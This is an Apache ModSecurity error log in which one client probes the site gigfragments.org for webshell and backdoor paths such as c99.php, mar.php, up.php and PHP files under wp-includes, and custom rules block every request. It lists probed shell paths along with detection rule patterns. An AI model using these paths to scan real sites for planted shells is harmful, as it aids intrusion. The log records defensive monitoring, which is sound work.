[Sat Feb 07 09:50:38.944493 2026] [:error] [pid 55157:tid 55183] [client 20.100.190.151:42196] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aYaabn36JdtTn2bTEow8hQAAARU"]
[Sat Feb 07 09:50:39.552668 2026] [:error] [pid 55157:tid 55168] [client 20.100.190.151:42234] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aYaab336JdtTn2bTEow8iQAAAQY"]
[Sat Feb 07 09:50:40.183293 2026] [:error] [pid 55157:tid 55184] [client 20.100.190.151:20733] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/f/"] [unique_id "aYaacH36JdtTn2bTEow8jQAAARY"]
[Sat Feb 07 09:50:40.729059 2026] [:error] [pid 50780:tid 50793] [client 20.100.190.151:39428] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/f/"] [unique_id "aYaacOtUmIu2JHM2Crvt9AAAAMs"]
[Sat Feb 07 09:50:41.358633 2026] [:error] [pid 50671:tid 50704] [client 20.100.190.151:20698] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/f/"] [unique_id "aYaacbvqLohWBI_mqBMmHQAAABg"]
[Sat Feb 07 09:50:42.096676 2026] [:error] [pid 43182:tid 43196] [client 20.100.190.151:42181] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/f/"] [unique_id "aYaacvEC82JnxmrnFYkjtwAAAUw"]
[Sat Feb 07 09:50:42.762629 2026] [:error] [pid 50672:tid 50730] [client 20.100.190.151:25782] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYaacg9o0jq1XS8Nv7PF1QAAAFY"]
[Sat Feb 07 09:50:43.506519 2026] [:error] [pid 50672:tid 50719] [client 20.100.190.151:44372] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYaacw9o0jq1XS8Nv7PF1wAAAEs"]
[Sat Feb 07 09:50:44.283488 2026] [:error] [pid 43182:tid 43195] [client 20.100.190.151:36211] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYaadPEC82JnxmrnFYkjvQAAAUs"]
[Sat Feb 07 09:50:45.424370 2026] [:error] [pid 50672:tid 50709] [client 20.100.190.151:39438] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYaadQ9o0jq1XS8Nv7PF2gAAAEE"]
[Sat Feb 07 09:50:46.155239 2026] [:error] [pid 58058:tid 58066] [client 20.100.190.151:37837] [client 20.100.190.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aYaadrz-Qlvs65S4DP-EagAAAYU"]
[Sat Feb 07 09:50:49.388697 2026] [:error] [pid 55157:tid 55186] [client 20.100.190.151:37845] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaaeX36JdtTn2bTEow8nwAAARg"]
[Sat Feb 07 09:50:50.637696 2026] [:error] [pid 50780:tid 50800] [client 20.100.190.151:27894] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaaeutUmIu2JHM2CrvuBwAAANI"]
[Sat Feb 07 09:50:51.707499 2026] [:error] [pid 58058:tid 58084] [client 20.100.190.151:42131] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaae7z-Qlvs65S4DP-EbgAAAZc"]
[Sat Feb 07 09:50:53.687530 2026] [:error] [pid 50780:tid 50783] [client 20.100.190.151:42116] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaafetUmIu2JHM2CrvuDQAAAME"]
[Sat Feb 07 09:50:55.578189 2026] [:error] [pid 50671:tid 50699] [client 20.100.190.151:32830] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h.php"] [unique_id "aYaaf7vqLohWBI_mqBMmKgAAABM"]
[Sat Feb 07 09:50:57.239421 2026] [:error] [pid 55157:tid 55186] [client 20.100.190.151:32565] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h.php"] [unique_id "aYaagX36JdtTn2bTEow8qwAAARg"]
[Sat Feb 07 09:50:58.845965 2026] [:error] [pid 58058:tid 58082] [client 20.100.190.151:42142] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h.php"] [unique_id "aYaagrz-Qlvs65S4DP-EfQAAAZU"]
[Sat Feb 07 09:51:00.301932 2026] [:error] [pid 50672:tid 50708] [client 20.100.190.151:43209] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h.php"] [unique_id "aYaahA9o0jq1XS8Nv7PF9gAAAEA"]
[Sat Feb 07 09:51:01.249332 2026] [:error] [pid 55157:tid 55182] [client 20.100.190.151:37837] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skin/install/default/security.php"] [unique_id "aYaahX36JdtTn2bTEow8uQAAARQ"]
[Sat Feb 07 09:51:03.121939 2026] [:error] [pid 50673:tid 50738] [client 20.100.190.151:42138] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skin/install/default/security.php"] [unique_id "aYaah2VwLsaZ7aKO2clFvAAAAIM"]
[Sat Feb 07 09:51:04.009917 2026] [:error] [pid 58058:tid 58083] [client 20.100.190.151:43223] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skin/install/default/security.php"] [unique_id "aYaaiLz-Qlvs65S4DP-EhwAAAZY"]
[Sat Feb 07 09:51:04.654400 2026] [:error] [pid 43182:tid 43207] [client 20.100.190.151:42168] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skin/install/default/security.php"] [unique_id "aYaaiPEC82JnxmrnFYkj1AAAAVc"]
[Sat Feb 07 09:51:05.369566 2026] [:error] [pid 43182:tid 43208] [client 20.100.190.151:30494] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aYaaifEC82JnxmrnFYkj1gAAAVg"]
[Sat Feb 07 09:51:05.944800 2026] [:error] [pid 50673:tid 50753] [client 20.100.190.151:42147] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aYaaiWVwLsaZ7aKO2clFvgAAAJI"]
[Sat Feb 07 09:51:06.944607 2026] [:error] [pid 43182:tid 43206] [client 20.100.190.151:25979] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aYaaivEC82JnxmrnFYkj2AAAAVY"]
[Sat Feb 07 09:51:07.870286 2026] [:error] [pid 55157:tid 55177] [client 20.100.190.151:22350] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aYaai336JdtTn2bTEow8yQAAAQ8"]
[Sat Feb 07 09:51:08.808864 2026] [:error] [pid 50672:tid 50725] [client 20.100.190.151:30409] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Core-EconX/up.php"] [unique_id "aYaajA9o0jq1XS8Nv7PGAwAAAFE"]
[Sat Feb 07 09:51:10.032563 2026] [:error] [pid 55157:tid 55183] [client 20.100.190.151:65224] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Core-EconX/up.php"] [unique_id "aYaajn36JdtTn2bTEow8zgAAARU"]
[Sat Feb 07 09:51:11.247356 2026] [:error] [pid 58058:tid 58085] [client 20.100.190.151:21887] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Core-EconX/up.php"] [unique_id "aYaaj7z-Qlvs65S4DP-EkAAAAZg"]
[Sat Feb 07 09:51:12.256456 2026] [:error] [pid 43182:tid 43206] [client 20.100.190.151:26539] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Core-EconX/up.php"] [unique_id "aYaakPEC82JnxmrnFYkj6AAAAVY"]
[Sat Feb 07 09:51:12.940043 2026] [:error] [pid 50780:tid 50803] [client 20.100.190.151:65269] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/"] [unique_id "aYaakOtUmIu2JHM2CrvuJwAAANU"]
[Sat Feb 07 09:51:13.572386 2026] [:error] [pid 55157:tid 55185] [client 20.100.190.151:25966] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/"] [unique_id "aYaakX36JdtTn2bTEow81QAAARc"]
[Sat Feb 07 09:51:14.336750 2026] [:error] [pid 55157:tid 55169] [client 20.100.190.151:29727] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/"] [unique_id "aYaakn36JdtTn2bTEow82QAAAQc"]
[Sat Feb 07 09:51:15.191116 2026] [:error] [pid 50672:tid 50717] [client 20.100.190.151:40893] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/"] [unique_id "aYaakw9o0jq1XS8Nv7PGFAAAAEk"]
[Sat Feb 07 09:51:15.724918 2026] [:error] [pid 43182:tid 43190] [client 20.100.190.151:27875] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/c99.php"] [unique_id "aYaak_EC82JnxmrnFYkj7QAAAUY"]
[Sat Feb 07 09:51:16.329685 2026] [:error] [pid 50780:tid 50795] [client 20.100.190.151:25947] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/c99.php"] [unique_id "aYaalOtUmIu2JHM2CrvuLAAAAM0"]
[Sat Feb 07 09:51:16.946506 2026] [:error] [pid 43182:tid 43188] [client 20.100.190.151:25519] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/c99.php"] [unique_id "aYaalPEC82JnxmrnFYkj8QAAAUQ"]
[Sat Feb 07 09:51:17.629102 2026] [:error] [pid 50673:tid 50735] [client 20.100.190.151:41601] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/c99.php"] [unique_id "aYaalWVwLsaZ7aKO2clFywAAAIA"]
[Sat Feb 07 09:51:18.204266 2026] [:error] [pid 43182:tid 43205] [client 20.100.190.151:26499] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "aYaalvEC82JnxmrnFYkj9AAAAVU"]
[Sat Feb 07 09:51:18.854742 2026] [:error] [pid 50780:tid 50804] [client 20.100.190.151:36373] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "aYaalutUmIu2JHM2CrvuMwAAANY"]
[Sat Feb 07 09:51:19.431138 2026] [:error] [pid 50673:tid 50746] [client 20.100.190.151:36386] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "aYaal2VwLsaZ7aKO2clFzQAAAIs"]
[Sat Feb 07 09:51:19.957862 2026] [:error] [pid 50673:tid 50754] [client 20.100.190.151:26527] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "aYaal2VwLsaZ7aKO2clF0AAAAJM"]
[Sat Feb 07 09:51:20.580184 2026] [:error] [pid 58058:tid 58069] [client 20.100.190.151:32556] [client 20.100.190.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aYaamLz-Qlvs65S4DP-EmgAAAYg"]
[Sat Feb 07 09:51:21.262815 2026] [:error] [pid 50673:tid 50742] [client 20.100.190.151:37196] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aYaamWVwLsaZ7aKO2clF0wAAAIc"]
[Sat Feb 07 09:51:21.846718 2026] [:error] [pid 50672:tid 50708] [client 20.100.190.151:21827] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aYaamQ9o0jq1XS8Nv7PGGAAAAEA"]
[Sat Feb 07 09:51:22.722183 2026] [:error] [pid 50671:tid 50702] [client 20.100.190.151:32569] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aYaamrvqLohWBI_mqBMmTQAAABY"]
[Sat Feb 07 09:51:23.417265 2026] [:error] [pid 50673:tid 50752] [client 20.100.190.151:22391] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "aYaam2VwLsaZ7aKO2clF1wAAAJE"]
[Sat Feb 07 09:51:23.986636 2026] [:error] [pid 50780:tid 50801] [client 20.100.190.151:36389] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "aYaam-tUmIu2JHM2CrvuNwAAANM"]
[Sat Feb 07 09:51:24.717711 2026] [:error] [pid 58058:tid 58075] [client 20.100.190.151:30181] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "aYaanLz-Qlvs65S4DP-EngAAAY4"]
[Sat Feb 07 09:51:25.659605 2026] [:error] [pid 50780:tid 50802] [client 20.100.190.151:32745] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "aYaanetUmIu2JHM2CrvuPAAAANQ"]
[Sat Feb 07 09:51:26.683445 2026] [:error] [pid 55157:tid 55175] [client 20.100.190.151:32548] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYaann36JdtTn2bTEow85AAAAQ0"]
[Sat Feb 07 09:51:27.303615 2026] [:error] [pid 50671:tid 50685] [client 20.100.190.151:15900] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYaan7vqLohWBI_mqBMmUgAAAAU"]
[Sat Feb 07 09:51:27.980963 2026] [:error] [pid 55157:tid 55185] [client 20.100.190.151:33698] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYaan336JdtTn2bTEow85QAAARc"]
[Sat Feb 07 09:51:28.614709 2026] [:error] [pid 50671:tid 50690] [client 20.100.190.151:22396] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYaaoLvqLohWBI_mqBMmVQAAAAo"]
[Sat Feb 07 09:51:30.825122 2026] [:error] [pid 50780:tid 50800] [client 20.100.190.151:25508] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-includes//index.php"] [unique_id "aYaaoutUmIu2JHM2CrvuSAAAANI"]
